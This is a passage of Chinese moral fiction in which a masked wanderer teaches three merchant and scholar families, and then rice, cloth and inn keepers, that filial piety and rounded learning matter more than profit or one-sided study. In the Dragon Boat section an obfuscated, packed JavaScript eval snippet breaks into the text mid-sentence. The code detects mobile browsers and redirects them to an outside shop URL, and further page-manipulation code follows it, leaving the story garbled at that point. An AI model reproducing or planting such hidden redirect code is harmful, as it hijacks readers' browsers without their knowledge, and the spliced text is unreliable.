“算数算的是数,算不出人心。”那人看着李算盘,“小兄弟,你会算三下五除二,可会算‘父母在,不远游’是几个字?可会算‘己所不欲,勿施于人’是几笔几画?” 李算盘茫然摇头。 那人叹气:“首孝悌,次见闻。知某数,识某文。意思是,做人先要懂得孝顺父母、友爱兄弟,其次才是增长见闻。既要懂得算数,也要识得文字。” 李金斗脸色变了变,嘴硬道:“孝顺父母,我自会教他!可诗文有何用?能帮他算账?” “算账只要算盘,做人却要良心。”那人声音平平,“你教他算数,可教过他算算你每日操劳几时?教过他算算你鬓边白发几根?教过他算算你养育他十年,耗费多少心血?” 李金斗张了张嘴,说不出话。 那人从怀里掏出一本薄薄的、手抄的册子,封面上写着《孝经算》。递给李算盘。 “这个给你。里边有用算数解孝道的题,比如:爹娘每日为你操劳三个时辰,一年多少时辰?十年多少时辰?你该如何报答?” 李算盘接过,翻开一看,里边果然是一道道奇怪的算题——“娘亲生你时,痛了六个时辰,相当于你玩耍几日?”“爹爹教你打算盘,费了三百个日夜,相当于你睡了多少觉?” 他看得呆了。 “算数,可以算利,也可以算恩。”那人拍拍他的肩,“先把恩算明白了,再算利不迟。” 说罢,他拿起斗笠,走出铺子。走到门口,又回头:“掌柜的,你的算盘打得响,可莫要算尽了钱财,算丢了人心。” 李金斗呆呆站着,算盘珠子在指尖发凉。 那天,李金斗没再逼儿子打算盘。他坐在柜台后,看着儿子一页页翻那本《孝经算》,手指在纸上划拉着,嘴里念念有词。 “爹,”李算盘忽然抬头,“您教我打算盘,用了三百零七天。我……我该用多少天孝顺您?” 李金斗鼻子一酸。 二、 书篓王家的“老学究” 西桥头,王家书铺。王墨林正在教儿子念《论语》。铺子里堆满了书,线装的、卷轴的、手抄的,空气里都是墨香和旧纸的味道。 “子曰:学而时习之,不亦说乎?”王墨林摇头晃脑。 “子曰:学而时习之,不亦说乎?”王文昌跟着念,小脸皱巴巴的。 “错!是‘悦’,非‘说’!”王墨林用戒尺轻敲桌面,“读书要字字分明!将来科举,错一字,满盘皆输!” 王文昌缩缩脖子。 这时,门帘一挑,进来那人。还是竹篾斗笠,靛蓝短褂,腰间木剑。脸上蒙着葛布,布上沾着些水汽,像是刚从河边过来。 “掌柜的,避避雨。”他说。外头不知何时飘起了细雨。 王墨林抬眼,见是个江湖人打扮,皱了皱眉:“书铺清净地,壮士请自便,莫要喧哗。” 那人点头,走到书架旁,随意抽出一本,却是《九章算术》。翻了翻,道:“掌柜的,这本卖么?” “卖。”王墨林道,“不过壮士,此书乃算学之经,艰深晦涩,恐怕……” “恐怕我不识数?”那人笑了,笑声透过葛布,闷闷的。 王墨林不答,眼神里分明是这个意思。 那人也不恼,将书放回,走到王文昌面前:“小兄弟,在读《论语》?” 王文昌点头。 “可会背‘父母之年,不可不知也’?” “会!”王文昌挺起胸,“父母之年,不可不知也。一则以喜,一则以惧。” “背得好。”那人点头,“那我来问你,你爹今年贵庚?你娘今年贵庚?” 王文昌一愣,转头看爹。 王墨林脸色一沉:“这与读书何干?” “怎的无关?”那人看着他,“首孝悌,次见闻。知某数,识某文。令郎能背圣贤书,却不知父母年岁,这是知文不知数,知书不知孝。” 王墨林噎住。 那人又问王文昌:“小兄弟,你爹每日教书,站几个时辰?你娘每日操持家务,走多少步?你爹鬓角有几根白发?你娘眼尾有几道皱纹?” 王文昌张着嘴,答不上来。 “你看,”那人叹道,“圣贤书里教孝悌,可孝悌不在书里,在生活里。你爹站着教你,你不知他腿酸;你娘走着劳碌,你不知她脚疼。这书,读来何用?” 王墨林脸上红一阵白一阵。 “掌柜的,”那人转向他,“你教他‘学而时习之’,可教他习什么?习如何孝顺父母?习如何体恤亲长?还是只习如何金榜题名,光宗耀祖?” 王墨林额上冒出细汗。 “读书是为了明理,明理是为了做人。”那人声音不高,却字字清晰,“若读书读得不知父母年岁,不知米价几文,不知柴火几担,这书,不如不读。” 他从怀里掏出一本手抄的《数文录》,递给王文昌。 “这个给你。里边有算父母辛劳的题,也有解圣贤言的文。比如:爹娘生养你,费了多少心血?你读书识字,又当如何回报?” 王文昌接过,翻开一看,第一页就写着:“母怀胎十月,共计几日几时?父教书十年,共计几时几刻?” 他看得呆了。 “知某数,识某文。数不离文,文不离数。”那人拍拍他的肩,“先把父母的恩情算明白了,再把圣贤的道理读明白了,这才是真学问。” 说完,他戴上斗笠,走入细雨中。走到门口,回头:“掌柜的,书是给人读的,不是给人供的。读进心里,才是自己的。” 王墨林呆呆站着,手里戒尺“啪嗒”掉在地上。 那天,王文昌没再死背书。他拿着那本《数文录》,一页页看,一页页算。算到“娘亲生我,痛了十二个时辰,相当于我玩耍多少时辰”时,眼泪吧嗒掉在纸上。 三、 笔架张家的“雅居士” 张家裱画店在镇子中央,临河而建,推窗可见小桥流水。张云鹤正在教儿子画兰草。画案上铺着宣纸,墨已磨好,笔已润湿。 “画兰如做人,要清,要雅,要不染尘埃。”张云鹤提着笔,手腕轻转,一丛兰草跃然纸上。 张雅风学爹的样子,可笔尖一抖,兰草成了杂草。 “哎,心要静,手要稳。”张云鹤摇头,“你这孩子,心思浮躁,如何能成雅士?” 张雅风低着头,不敢说话。 这时,店外有人敲门。张云鹤开门,见是那人。斗笠滴着水,短褂下摆沾了泥,木剑斜挎腰间,葛布蒙面,只露出一双眼睛,清澈得很。 “店家,借个地方烘烘衣裳。”声音温和。 张云鹤是雅人,见这人虽衣衫简朴,气度却不凡,便让进来:“壮士请进,后头有炭盆。” 那人道了谢,走到后间,却不烘衣,站在画案旁看张雅风画兰草。 “小兄弟,画兰呢?” 张雅风点头,有些怯。 “兰是君子,可君子也要吃饭。”那人忽然说。 张云鹤皱眉:“壮士此言何意?” “没什么。”那人笑笑,“只是看小兄弟画兰,想起一事。兰草清雅,可种兰的土要钱,养兰的盆要钱,画兰的纸笔也要钱。这些钱,从何而来?” 张云鹤脸色一沉:“壮士是来论画的,还是来论钱的?” “论画,也论钱。”那人指着画上的兰草,“这兰草画得虽好,可小兄弟可知,这一张宣纸,要你爹裱几幅画才能换来?这一锭墨,要你爹弹几曲琵琶才能赚来?这一支笔,要你爹劳碌几日才能买来?” 张雅风愣住了,看向爹。 张云鹤脸上挂不住:“我教儿子风雅,何须计较这些俗物?” “不计较?”那人摇头,“掌柜的,你教他风雅,可教过他如何谋生?如何持家?如何孝顺父母?莫非将来,他靠风雅吃饭,你靠风雅养老?” 张云鹤语塞。 “首孝悌,次见闻。知某数,识某文。”那人缓缓道,“风雅是文,数是生计。你教他文,不教他数,是让他做无根之兰,无水之萍。将来你老了,他连你的药钱都算不清,连你的米粮都买不回,这风雅,有何用?” 张雅风手中的笔,“啪”地掉在纸上,染了一团墨。 “我……我会弹琴,会画画……”他小声说。 “会弹琴,可能弹出米来?会画画,可能画出药来?”那人看着他,眼神温和,“小兄弟,你爹教你风雅,是盼你成雅士。可雅士也要吃饭,也要养家,也要孝顺爹娘。你连爹娘每日辛苦几时都不知,连家中用度几何都不晓,这雅,是假雅。” 张云鹤颓然坐下。 那人从怀里掏出一卷手卷,展开,是一幅《孝悌耕读图》。画中有老农耕田,有稚子读书,有慈母纺织,有孝子奉茶。画旁有小字,写着“一日父母劳,十年养育恩。算得清米盐,读得明圣贤”。 “这个给你。”他递给张雅风,“画要画,可要画生活。琴要弹,可要弹心声。先把父母的恩情画明白了,再把人生的账目算明白了,这才是真风雅。” 张雅风接过手卷,看得痴了。画中人物,栩栩如生;题字小楷,端正清秀。更重要的是,那画里有烟火气,有生活味,不是孤零零的兰草竹石。 “掌柜的,”那人转向张云鹤,“风雅在心,不在形。心中有父母,笔下有温情,这才是真雅士。” 说罢,他戴上斗笠,推门而出。雨已停了,天边露出一抹青。 张云鹤坐在画案前,看着儿子捧着那手卷,看得入神。他忽然想起,自己年轻时,也曾想做个真雅士。可这些年来,教儿子风雅,却忘了教他生活。雅是雅了,可雅得冷清,雅得不食人间烟火。 “雅风,”他唤儿子,“明日,爹教你算账。” 张雅风抬头,眼里有光:“真的?” “真的。”张云鹤点头,“先学算你娘每日做几顿饭,爹每日裱几幅画。算明白了,再画兰草。” 四、 芙蓉镇的初夏 五月端午,芙蓉镇赛龙舟。三家的孩子都去了河边。 李算盘手里拿着个小算盘,一边看龙舟,一边算:“一条龙舟二十人,十条就是二百人,每人每天吃三顿饭,十天就是六千顿饭……” 王文昌捧着本书,一边看一边念:“屈原投江,是忧国忧民。忧国忧民者,当知民之疾苦。民之疾苦,在衣食住行……” 张雅风拿着炭笔和小本,在画龙舟。画着画着,在旁边写上:“龙舟长三丈,可载二十人。划舟者,皆镇上壮丁,一日工钱五十文……” 三个孩子凑到一起,你看看我的算盘,我看看你的书,他看看他的画。 “你在算什么?”王文昌问李算盘。 “算龙舟要花多少钱。”李算盘认真道,“我爹说,算明白了,才知道办一件事多不容易。” “你在念什么?”张雅风问王文昌。 “念屈原的故事。”王文昌说,“我爹说,念明白了,才知道什么是气节。” “你在画什么?”李算盘问张雅风。 “画龙舟,也算龙舟。”张雅风说,“我爹说,画要画生活,算要算生计。” 三人互相看看,都笑了。 正笑着,那人来了。还是竹篾斗笠,靛蓝短褂,腰间木剑。只是今日没蒙葛布,脸上戴了个竹编的面具,只露出眼睛和嘴。手里提着一串粽子,热气腾腾的。 “小兄弟,吃粽子。”他递过来。 三人接过,道了谢。剥开粽子,是红枣馅的,甜糯可口。 “先生,您从哪里来?”李算盘大胆问。 “从来处来。” “要到哪里去?”王文昌问。 “到去处去。” “您是做什么的?”张雅风问。 “我是个走路的人。”那人笑了,“走路,看路,也看路上的人。” 三人似懂非懂。 那人看着河里的龙舟,忽然问:“你们说,这龙舟赛,是为了什么?” “为了纪念屈原!”王文昌抢答。 “为了热闹!”李算盘说。 “为了……为了让大家高兴。”张雅风说。 “都对,也都不对。”那人说,“龙舟赛,赛的是力,也是心。二十人一条心,才能划得快。一镇人一条心,才能办得成。” 他看着三个孩子:“你们三人,一个学算数,一个学诗文,一个学风雅。可知道,这三样,本是一体?” 三人摇头。 “算数,是算生计,也是算人心。诗文,是明道理,也是明人情。风雅,是修心性,也是修德行。”他慢慢道,“首孝悌,次见闻。知某数,识某文。数在文里,文在数中。心中有孝悌,手中有数文,这才是完整的人。” 他拿出三个小小的、用竹片削成的书签,一人给了一个。书签上刻着两行小字:“知数明理,识文通情”。 “这个,给你们。夹在书里,记在心里。等你们长大了,教你们的孩子,既要学算数,也要学诗文,还要学风雅。三样都学,三样都通,才是真好。” 三 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17133840|195403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人郑重接过。 “先生,”李算盘问,“您还会来么?” “等你们的孩子,也像你们现在这样,在一起算数、念书、画画的时候,我再来。”那人说。 他走了,沿着河岸,慢慢地走。龙舟的鼓声咚咚响,他的背影在人群里,渐渐看不见了。 三人捧着粽子,捧着书签,站在河边。河风吹来,带着水汽,带着粽叶香。 五、 十年后的书签 天启十七年,端午。芙蓉镇还是那个芙蓉镇,河水还是那条河水,只是三家的孩子,都长大了。 李算盘接了爹的班,成了账房先生。可他不仅会算账,还会写诗。他给铺子写的对联,镇上人人称道。他儿子李小算,八岁,既学算盘,也背诗文。 王文昌没中举,但在镇上开了个学堂,教孩子们读书。可他不仅教诗文,还教算数。他说:“不会算数的书生,是呆子。”他女儿王书文,九岁,既念《论语》,也学算账。 张雅风成了画师,专画市井百态。可他不仅会画画,还会算账,铺子的账目清清楚楚。他儿子张墨竹,十岁,既学画画,也学算盘。 今年端午,三家又聚在河边看龙舟。三个孩子——李小算、王书文、张墨竹,凑在一起。一个在算龙舟的造价,一个在念屈原的《离骚》,一个在画龙舟竞渡图。 李算盘看着,对王文昌、张雅风笑道:“像不像咱们小时候?” 三人相视而笑。 这时,河对岸走来一人。还是竹篾斗笠,靛蓝短褂,腰间木剑。只是斗笠更破,短褂更旧,木剑的剑穗也褪了色。脸上依然戴着竹面具,看不清容颜。 三人看见,忙迎上去:“先生!” 那人点头,声音依旧温和:“长大了。” “先生,吃粽子!”李小算机灵,递上一个粽子。 “先生,看龙舟!”王书文指着河里。 “先生,看我画的画!”张墨竹举起画板。 那人一一接过,看画,看龙舟,吃粽子。吃完了,说:“甜。” 李算盘从怀里掏出那枚竹书签,已经摩挲得温润光滑:“先生,您看,我一直留着。” 王文昌、张雅风也掏出书签,三枚书签,在阳光下泛着温润的光。 “留得好。”那人点头,“知数明理,识文通情。你们做到了。” “先生,”王文昌问,“您这十年,去了哪里?” “走了些地方,见了些人。”那人说,“有只会算数不懂人情的账房,有只会念书不知米价的秀才,有只会风雅不事生产的雅士。看得多了,就想,若是他们小时候,既学算数,也学诗文,也学风雅,会不会就圆满了?” 三人沉默。 “首孝悌,次见闻。知某数,识某文。”那人缓缓念,“孝悌是根,见闻是叶,数文是果。根深,叶茂,果才实。” 他看向三个孩子——李小算、王书文、张墨竹,一个在打算盘,一个在念书,一个在画画,却不时交流几句,互相请教。 “他们比你们强。”那人笑了,“算盘里有诗文,诗文里有画意,画意里有生计。这才对。” 三人点头,深以为然。 那人从怀里掏出三枚新的竹书签,刻着“孝悌为本,数文并进”,送给三个孩子。 “这个,给你们的孩子。等他们长大了,教他们既要学算数,也要学诗文,也要学风雅。等他们做到了,我再来收。” 三个孩子恭恭敬敬接过。 “先生,”张墨竹大着胆子问,“您是谁啊?” 那人摸摸他的头:“我是个喜欢看孩子既打算盘,又念书,又画画的人。” “那……您还会来看我们么?” “会。”那人站起身,“等你们的孩子的孩子,也这样坐在河边,既算数,又念书,又画画的时候,我还会来。” 他走了,沿着河岸,慢慢地走。龙舟的鼓声越来越急,他的背影在鼓声里,渐渐远了。 三人送他到桥头,看着他消失在人群里。李算盘忽然说:“你们说,先生教了多少人?” 王文昌说:“不知道。但我知道,他教的人,都懂了‘首孝悌,次见闻’。” 张雅风说:“我也懂了。风雅不是孤芳自赏,是心中有父母,手中有生计,笔下有温情。” 他们回到河边,孩子们还在那里。李小算在教王书文打算盘,王书文在教张墨竹背诗,张墨竹在教李小算画画。阳光照在他们身上,暖洋洋的。 尾声数文谣 很多年后,芙蓉镇改名叫“数文镇”。镇口的石碑上,刻着十二个字: 首孝悌,次见闻。知某数,识某文。 常有外乡人问:“这字谁刻的?” 镇里的老人会说:“是三家明白人刻的。他们啊,从前一个只会算数,一个只会念书,一个只会画画,后来都明白了。” “明白什么?” “明白做人要孝顺父母、友爱兄弟,这是根本。然后要学本事,既要懂算数,也要识文字,这才是完整的人。” 端午时,镇上的孩子都会唱一首童谣: 芙蓉镇,三家人, 教子各走一边门。 李家只教铁算盘, 王家只教圣贤书。 张家只教风雅事, 三家教子皆偏颇。 白衣先生来点化, 首孝悌,次见闻。 知某数,识某文, 三家教子方周全。 有个游方的说书先生路过,听了这童谣,去问账房李先生——当年的李算盘,如今也蓄了须。 “先生,这童谣里的白衣人,可是位世外高人?” 李算盘正在教孙子打算盘,闻言停下手,望着窗外的河水。 “是位教人打算盘也要念书,念书也要画画的人。”他说。 “这……这是什么意思?” “意思是,做人不能只学一样。”李算盘说,“就像这河水,有深有浅,有急有缓,才是活的。人也是,有数有文,有雅有俗,才是全的。” 说书先生似懂非懂。临走时,李算盘送了他一本手抄的《数文录》,说:“说书的,也要识数,才知道一段书说多长,收多少赏钱。” 说书先生道了谢,揣着书走了。河上龙舟竞渡,鼓声震天。他回头,看见李算盘站在河边,看着孙子和王家、张家的孩子在一起,一个打算盘,一个念书,一个画画。阳光洒在他们身上,像一幅和谐的画。 也许那位先生,正在某个地方,看人们既打算盘,又念书,又画画吧。说书先生想。 他打开《数文录》,第一页写着:“父母恩,重如山。算不清,量不完。既知数,又识文,孝悌在心头,数文在手中。” 本章诫世 一、 数文二训 - 首孝悌,次见闻 - 知某数,识某文 - 破解法:为人父母,自问“可教子以孝悌?可教子以全才?”;为人师长,自问“可教生徒以根本?可教生徒以周全?” 二、 三家三偏 - 李家偏在“唯数”——只重算数,不修人文 - 王家偏在“唯文”——只重诗文,不晓世务 - 张家偏在“唯雅”——只重风雅,不识生计 - 惕世:多少人家教子偏科?多少学子只通一窍?多少人雅得虚浮、文得迂腐、数得冷漠?皆不全也 三、 全才大道 - 深层隐喻:人如树木,孝悌是根,见闻是叶,数文是果。根不深,则叶不茂;叶不茂,则果不实 - 终极指向:育才成人,在全面周备。有孝悌之心,有见闻之广,有数理之明,有文采之华,方为全人 数文偈: 芙蓉镇里三家人,教子各偏一门庭。 李家唯数不重文,王家唯文不晓数。 张家唯雅不识务,三子皆成片面人。 白衣现身来点化,首孝悌兮次见闻。 知某数兮识某文,三子方成周全人。 后世叹: 首孝悌,次见闻,知某数,识某文。 李家重数不重文,王家重文不晓数。 张家重雅不识务,三家教子各偏颇。 白衣点破全才道,十年育子方周全。 正是: 江南水乡三家人,教子偏科各执迷。 李唯数兮王唯文,张唯雅兮皆不全。 白衣点化全才道,数文并重孝悌先。 首孝悌兮次见闻,知某数兮识某文。 91.万亿谳 楔子·三铺争利 京城外有处通州码头,乃南北漕运要津。每日里千帆竞过,万担装卸,端的是一等一热闹去处。码头旁有条长街,唤作“流水街”,街上有三家铺子鼎足而立:东头是“陈记米铺”,西头是“刘记布庄”,中间是“赵家客栈”。 陈家掌柜陈满仓,四十有五,卖米三代。他有一句口头禅:“粒米成箩,滴水成河。”铺子里从早到晚响着算盘声,进一斗米要算,出一升米也要算。儿子陈小米,十三岁,在柜台后学打算盘,手指头磨出茧子。 刘家掌柜刘尺布,四十有三,卖布三代。他有一句座右铭:“寸布成匹,分毫成丈。”铺子里挂满各色布匹,每匹布都量了又量,算了又算。女儿刘寸锦,十四岁,在柜台前学量布,眼力比尺还准。 赵家掌柜赵满堂,四十有八,开客栈三代。他有一句生意经:“人来人往,皆为利忙。”客栈里南来北往的客商,他都要算计一番,住店几钱,饭食几钱,马料几钱。儿子赵百客,十五岁,在柜台后学记账,账本堆成山。 这三家,是流水街上最会“算计”的人家。可算来算去,三家却算成了仇人。 陈满仓说刘家布庄的幌子挡了他家铺子的光,刘尺布说赵家客栈的泔水泼到了他家门前,赵满堂说陈家的米车压坏了他家门前的石板。今日你少我一文,明日我欠你一钱,三年下来,账算不清,怨结成了疙瘩。 这是天顺五年的秋天,码头上漕船如云,三家铺子的算盘声噼啪作响,可三家的掌柜,在街上碰面,连头都不点。 一、 陈记米铺的“算盘珠” 这日,陈满仓正在铺子里教儿子打算盘。铺子临街,门脸不大,可堆的米袋高耸如山。陈满仓手里一把紫檀算盘,珠子油亮,拨得飞快。 “看好了!一斗米,进价一百二十文,卖价一百五十文,一斗赚三十文。十斗赚三百文,百斗赚三贯,千斗赚三十贯!”陈满仓眼睛发亮,“小米,记住了,生意就是积少成多,一而十,十而百,百而千,千而万!” 陈小米苦着脸,手指笨拙地拨着算珠。 这时,铺子里进来一人。来人戴着一顶苇编斗笠,斗笠边缘已磨出毛边,用麻线缝了几针。身上是件半旧的白粗布短褂,洗得发白,袖口用布条束着。腰间用草绳系一柄木剑,剑身光滑,像是常被人摩挲。脸上蒙着一方粗麻布,布是灰扑扑的,沾着些尘土。 “掌柜的,买米。”声音平平的,听不出年纪。 陈满仓抬眼一瞥,见是个行脚的,便懒懒道:“要多少?” “一合。”那人说。 “一合?”陈满仓皱眉,“一合米,够谁吃?” “够一人,吃一顿。”那人从怀里掏出一文钱,放在柜台上。 陈满仓嗤笑:“一合米,不值得开斗。去去去,别耽误我做生意。” 那人却不走,看着陈小米打算盘,忽然道:“小兄弟,一合米,是多少粒?” 陈小米一愣,抬头看爹。 陈满仓不耐烦:“谁有闲工夫数那个!” “我数过。”那人说,“一合米,大约一千八百粒。一升米,一万八千粒。一斗米,十八万粒。一石米,一百八十万粒。” 陈满仓愣住了。 “掌柜的,你卖米多年,可曾数过一合米有多少粒?”那人问。 “……没数过。”陈满仓嘟囔。 “你没数过,可种米的人数过。”那人缓缓道,“春天撒种,一粒种子下地。夏天除草,一滴汗水落地。秋天收割,一株稻穗低头。冬天碾米,一粒米脱壳。这一合米,是一千八百个春天,一千八百个夏天,一千八百个秋天,一千八百个冬天。” 陈满仓张了张嘴,说不出话。 “一而十,十而百。百而千,千而万。”那人念出这十二个字,“你知道这是什么意思?” “自然是积少成多!”陈满仓道。 “错了。”那人摇头,“这是说,万物皆从一来。一粒米,是根本。十粒米,是一捧。百粒米,是一碗。千粒米,是一升。万粒米,是一斗。可若没有那一粒米,哪来的十、百、千、万?” 他走到米袋前,伸手抓了一把米,米粒从指缝间簌簌落下。 “你只算一斗赚三十文,可算过这一斗米,要农人多少汗水?要老天多少风雨?要碾子多少转动?要车船多少颠簸?” 陈满仓脸上红一阵白一阵。 “你教儿子‘一而十,十而百’,是教他算计。可算计的是什么?是利。你忘了,这一粒米里,有天地恩,有农人苦,有舟车劳,有万人力。”那人声音不高,却字字沉重,“你只算自己赚多少,可算过这米养活了多少人?可算过这米救了多少命?可算过这米,本是养人之物,不是谋利之器?” 陈小米手里的算盘,“啪”地掉在地上。 “小兄弟,”那人转向陈小米,“你爹教你算利,我教你算恩。一合米,养活一人一顿。一升米,养活一人一日。一斗米,养活一家三日。一石米,养活一村十日。这恩,你算得清么?” 陈小米愣愣地摇头。 那人从怀里掏出一本薄册子,封面上写着《米粟恩》。递给陈小米。 “这个给你。里边有算米之恩的题,比如:一粒米,从种子到饭碗,要经过多少人之手?一斗米,能救几条人命?一石米,能活多少百姓?” 陈小米接过,翻开一看,第一页就画着一粒米,米上写着:“天地生我,农人育我,舟车载我,掌柜卖我,妇人煮我,孩童食我。我是一粒米,养人一口命。” 他看得痴了。 “掌柜的,”那人转向陈满仓,“你的算盘打得精,可莫要算尽了毫厘,算丢了良心。一而十,十而百,百而千,千而万——这‘一’,是根本。根本是什么?是天地良心,是养人之德。” 说罢,他弯腰捡起那文钱,放在米袋上:“这一文钱,我买你一合米。你若不卖,我自己数。” 陈满仓呆立良久,忽然抓起升子,舀了满满一合米,倒在粗纸里包好,双手递给那人:“先生……这米,送您。” 那人接过,点点头,走出铺子。走到门口,回头:“掌柜的,明日此时,我再来。你若有心,数一合米有多少粒。数明白了,我再与你说话。” 陈满仓看着那人的背影消失在街角,又看看儿子手里的册子,忽然蹲下身,抓了一把米,一粒一粒数起来。 “一、二、三、四……” 二、 刘记布庄的“寸光眼” 刘尺布这日正在铺子里教女儿量布。铺子里挂满各色布匹,青的、蓝的、花的,在秋阳下泛着柔和的光。刘尺布手里一把黄杨木尺,尺上刻着分、寸、尺,磨得发亮。 “寸锦,看好了!一尺布,十寸。一寸布,十分。分毫不能差!”刘尺布量着一匹蓝布,“客人要一丈,你量九尺九寸九分,人家回头骂你缺德。量一丈零一分,咱家吃亏。就得一丈,不多不少!” 刘寸锦点头,手里软尺拉得笔直。 这时,门帘一挑,进来那人。还是苇编斗笠,白粗布短褂,腰间木剑。脸上蒙着麻布,布上沾着些水汽,像是从河边来。 “掌柜的,扯布。”声音温和。 刘尺布抬眼,见是昨日在陈家米铺见过的那人,心里一动,面上不露:“客官要什么布?扯多少?” “粗麻布,三尺三寸三分。”那人说。 刘尺布皱眉:“三尺三寸三分?这尺寸蹊跷。” “不蹊跷。”那人说,“做一件短褂,衣长二尺,袖长一尺,领口三分,下摆三分,接缝三分,正好三尺三寸三分。” 刘尺布愣了愣,这算法,比他这卖布三十年的还精细。 “客官是裁缝?” “不是。”那人说,“只是常走路,常补衣,知道尺寸要紧。” 刘尺布不再多问,量布,裁剪,手脚利落。剪好了,用草纸包了,递过去。 那人接过,却不走,看着刘寸锦量布,忽然道:“姑娘,一尺布,是多少根线?” 刘寸锦一愣,看向爹。 刘尺布笑了:“客官说笑了,一尺布,少说万根线,谁数得清?” “我数过。”那人说,“一尺粗布,横纬三千六百根,竖经四千八百根。一匹布,长四丈,便是横纬十四万四千根,竖经十九万两千根。” 刘尺布张大了嘴。 “掌柜的,你卖布多年,可曾数过一根线要多长?”那人问。 “……没数过。” “你没数过,可织布的人数过。”那人缓缓道,“春天种棉,一粒棉籽下地。夏天捉虫,一滴汗水落地。秋天摘棉,一朵棉花入手。冬天纺线,一根线出车。春天织布,一根线成匹。这一尺布,是三千六百个春天,三千六百个夏天,三千六百个秋天,三千六百个冬天。” 刘尺布手里的尺子,“当啷”掉在柜台上。 “一而十,十而百。百而千,千而万。”那人念道,“你知道这是什么意思?” “自然是积线成布!”刘尺布道。 “错了。”那人摇头,“这是说,万物皆从一根线来。一根线,是根本。十根线,是一缕。百根线,是一绺。千根线,是一束。万根线,是一尺。可若没有那一根线,哪来的十、百、千、万?” 他走到布匹前,伸手抚摸一匹青布,布面光滑,纹理细腻。 “你只算一尺卖几文,一匹赚几钱,可算过这一尺布,要农人多少辛劳?要织女多少日夜?要染工多少汗水?要车马多少奔波?” 刘尺布脸上火辣辣的。 “你教女儿‘分毫不能差’,是教她算计。可算计的是什么?是利。你忘了,这一根线里,有天地恩,有农人苦,有织女累,有染工勤。”那人声音平稳,却字字敲心,“你只算自己赚多少,可算过这布暖了多少人?可算过这布遮了多少羞?可算过这布,本是暖人之物,不是谋利之器?” 刘寸锦手里的软尺,松了。 “姑娘,”那人转向刘寸锦,“你爹教你量利,我教你量恩。一尺布,可做婴孩一件衣,暖他一个冬。一丈布,可做老人一身袍,遮他一身寒。一匹布,可做一家人四季衣裳,护他们冷暖。这恩,你量得清么?” 刘寸锦愣愣地摇头。 那人从怀里掏出一本薄册子,封面上写着《布帛恩》。递给刘寸锦。 “这个给你。里边有量布之恩的题,比如:一根线,从棉花到布匹,要经过多少人之手?一尺布,能暖几人身?一匹布,能活几家人?” 刘寸锦接过,翻开一看,第一页就画着一根线,线上写着:“天地生我,农人种我,织女纺我,染工染我,掌柜量我,妇人缝我,孩童穿我。我是一根线,暖人一身衣。” 她看得痴了。 “掌柜的,”那人转向刘尺布,“你的尺子量得准,可莫要量尽了分毫,量丢了良心。一而十,十而百,百而千,千而万——这‘一’,是根本。根本是什么?是天地良心,是暖人之德。” 说罢,他从怀里掏出钱,放在柜台上:“这是布钱。三尺三寸三分,分毫不少。” 刘尺布看着那钱,忽然抓起,塞回那人手里:“先生……这布,送您。” 那人笑了:“为何?” “您让我明白了,布不是用来量的,是用来暖人的。”刘尺布声音有些哑。 那人接过布,点点头,走出铺子。走到门口,回头:“掌柜的,明日此时,我再来。你若有心,数一尺布有多少根线。数明白了,我再与你说话。” 刘尺布看着那人的背影,又看看女儿手里的册子,忽然扯下一尺布,在灯下一根一根数起来。 “一、二、三、四……” 三、 赵家客栈的“算盘账” 赵满堂这日正在客栈柜台后算账。客栈两层楼,二十间房,日日客满。赵满堂手里一把铁算盘,珠子黑沉,拨起来声音清脆。账本堆了半人高,他一手翻账本,一手拨算盘,嘴里念念有词。 “天字三号房,住三日,房钱一百五十文。饭钱八十文,马料钱三十文,热水钱十文,共计二百七十文。抹去零头,收二百七十文,一文不能少!” 儿子赵百客在旁记录,笔下如飞。 这时,门口进来那人。还是苇编斗笠,白粗布短褂,腰间木剑。脸上蒙着麻布,只露出一双眼睛,清澈得很。 “掌柜的,住店。”声音平和。 赵满堂抬眼,见是这两日在陈记、刘记见过的那人,心里咯噔一下,面上堆笑:“客官要上房还是下房?” “下房即可,住一晚。”那人说。 “好嘞!下房一晚二十文,饭食另算。”赵满堂拨着算盘,“客官要热水么?要马料么?要……” “只要一床一被,一碗素面。”那人打断他。 赵满堂愣了愣,拨算盘的手停了:“就这些?” “就这些。” 赵满堂记了账,收了钱,让伙计带那人去房间。那人却不动,看着赵百客记账,忽然道:“小兄弟,一间房,住一晚,要费多少柴?” 赵百客一愣,抬头看爹。 赵满堂皱眉:“客官问这个作甚?” “我算算。”那人说,“一间房,一晚要点一盏灯,灯油二钱。要烧一炕,柴火五斤。要供热水一壶,柴火二斤。要扫一次地,用笤帚一把,笤帚是竹子编的,竹子要长三年。要擦一次桌,抹布一块,抹布是粗布做的,布要织三天。要换一次被,被里被面是布,棉花要种一季。要……” “停停停!”赵满堂听得头大,“客官,您这是住店还是算账?” “住店,也算账。”那人说,“掌柜的,你算账,只算进多少,出多少,赚多少。可算过这一间房,一晚,要费天地多少物?要费人工多少力?要费人心多少善?” 赵满堂语塞。 “一而十,十而百。百而千,千而万。”那人缓缓念出,“你知道这是什么意思?” “自然是积少成多,聚沙成塔!”赵满堂道。 “错了。”那人摇头,“这是说,万物皆从一来。一盏灯,是根本。十盏灯,是一室光明。百盏灯,是一街繁华。千盏灯,是一城夜景。万盏灯,是一国昌盛。可若没有那一盏灯,哪来的十、百、千、万?” 他走到窗前,推开窗,码头上灯火通明,千帆林立。 “你只算一间房赚几文,可算过这一间房,要木匠多少工夫?要瓦匠多少汗水?要漆匠多少心血?要伙计多少奔走?要船家多少风浪运来木料?要农夫多少辛劳种出棉花?要织女多少日夜织出被褥?” 赵满堂额上冒汗。 “你教儿子‘一文不能少’,是教他算计。可算计的是什么?是利。你忘了,这一间房里,有工匠巧,有农夫苦,有织女累,有船家险,有伙计勤。”那人声音不高,却字字如锤,“你只算自己赚多少,可算过这间房歇了多少旅人?可算过这碗面暖了多少饥肠?可算过这盏灯照亮了多少夜路?可算过这客栈,本是歇人之所,不是谋利之窟?” 赵百客手里的笔,“啪”地掉了。 